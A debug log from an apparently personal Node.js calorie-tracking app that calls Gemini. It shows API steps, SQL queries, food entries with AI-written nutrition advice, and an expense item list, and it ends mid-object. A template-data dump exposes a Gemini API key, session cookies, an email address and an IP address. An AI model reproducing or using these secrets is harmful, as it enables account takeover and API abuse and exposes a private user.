2025-12-13T11:14:55.879Z server-connect:app Executing action step identify
2025-12-13T11:14:55.880Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:55.880Z server-connect:output identity: 1
2025-12-13T11:14:55.880Z server-connect:app Executing action step restrict
2025-12-13T11:14:55.880Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:14:55.880Z server-connect:output restrict: undefined
2025-12-13T11:14:55.880Z server-connect:app Executing action step processWithGemini
2025-12-13T11:14:55.880Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T11:15:08.606Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Papaya',
      quantity: '3 slices (approx 150g)',
      total_calories: 65,
      protein: 0.8,
      carbs: 16.2,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
    },
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
      total_calories: 37,
      protein: 2,
      carbs: 2.9,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
    }
  ],
  total_macros: {
    total_calories: 102,
    total_protein: { value: 2.8, unit: 'g' },
    total_carbs: { value: 19.1, unit: 'g' },
    total_fat: { value: 2.5, unit: 'g' }
  }
}
2025-12-13T11:15:37.223Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T11:15:37.223Z server-connect:app Executing action step identify
2025-12-13T11:15:37.223Z server-connect:app options: { provider: 'security' }
2025-12-13T11:15:37.223Z server-connect:output identity: 1
2025-12-13T11:15:37.223Z server-connect:app Executing action step restrict
2025-12-13T11:15:37.223Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:15:37.224Z server-connect:output restrict: undefined
2025-12-13T11:15:37.224Z server-connect:app Executing action step condition
2025-12-13T11:15:37.224Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T11:15:37.224Z server-connect:app Executing action step repeat
2025-12-13T11:15:37.224Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T11:15:37.224Z server-connect:app Executing action step insert
2025-12-13T11:15:37.224Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T11:15:37.226Z server-connect:output calories: { affected: 1, identity: 378 }
2025-12-13T11:15:37.226Z server-connect:app Executing action step insert
2025-12-13T11:15:37.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T11:15:37.227Z server-connect:output calories: { affected: 1, identity: 379 }
2025-12-13T11:15:37.227Z server-connect:output repeat: [ {}, {} ]
2025-12-13T11:15:37.227Z server-connect:output condition: undefined
2025-12-13T11:15:37.515Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T11:15:37.516Z server-connect:app Executing action step identify
2025-12-13T11:15:37.516Z server-connect:app options: { provider: 'security' }
2025-12-13T11:15:37.516Z server-connect:output identity: 1
2025-12-13T11:15:37.516Z server-connect:app Executing action step restrict
2025-12-13T11:15:37.516Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T11:15:37.516Z server-connect:output restrict: undefined
2025-12-13T11:15:37.517Z server-connect:router Render template layouts/main
2025-12-13T11:15:37.517Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T11:15:38.096Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T11:15:38.097Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T11:15:38.097Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T11:15:38.097Z server-connect:app Executing action step identify
2025-12-13T11:15:38.097Z server-connect:app options: { provider: 'security' }
2025-12-13T11:15:38.097Z server-connect:output identity: 1
2025-12-13T11:15:38.097Z server-connect:app Executing action step restrict
2025-12-13T11:15:38.098Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:15:38.098Z server-connect:app Executing action step identify
2025-12-13T11:15:38.098Z server-connect:app options: { provider: 'security' }
2025-12-13T11:15:38.098Z server-connect:output identity: 1
2025-12-13T11:15:38.098Z server-connect:app Executing action step restrict
2025-12-13T11:15:38.098Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:15:38.098Z server-connect:output restrict: undefined
2025-12-13T11:15:38.098Z server-connect:app Executing action step select
2025-12-13T11:15:38.098Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T11:15:38.100Z server-connect:app Executing action step identify
2025-12-13T11:15:38.100Z server-connect:app options: { provider: 'security' }
2025-12-13T11:15:38.100Z server-connect:output identity: 1
2025-12-13T11:15:38.100Z server-connect:app Executing action step restrict
2025-12-13T11:15:38.100Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:15:38.101Z server-connect:output restrict: undefined
2025-12-13T11:15:38.101Z server-connect:app Executing action step single
2025-12-13T11:15:38.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T11:15:38.104Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T11:15:38.104Z server-connect:output restrict: undefined
2025-12-13T11:15:38.104Z server-connect:app Executing action step single
2025-12-13T11:15:38.104Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T11:15:38.106Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T11:15:38.107Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T11:15:38.107Z server-connect:app Executing action step select
2025-12-13T11:15:38.107Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T11:15:38.109Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  }
]
2025-12-13T11:15:38.109Z server-connect:app Executing action step setvalue
2025-12-13T11:15:38.109Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T11:15:38.109Z server-connect:output var_total: 711
2025-12-13T11:15:38.109Z server-connect:app Executing action step setvalue
2025-12-13T11:15:38.109Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T11:15:38.109Z server-connect:output var_consumed: 30
2025-12-13T11:15:38.109Z server-connect:app Executing action step setvalue
2025-12-13T11:15:38.109Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T11:15:38.109Z server-connect:output var_deficit: 1689
2025-12-13T11:15:38.109Z server-connect:app Executing action step custom
2025-12-13T11:15:38.109Z server-connect:app options: {
  connection: 'db',
  sql: {
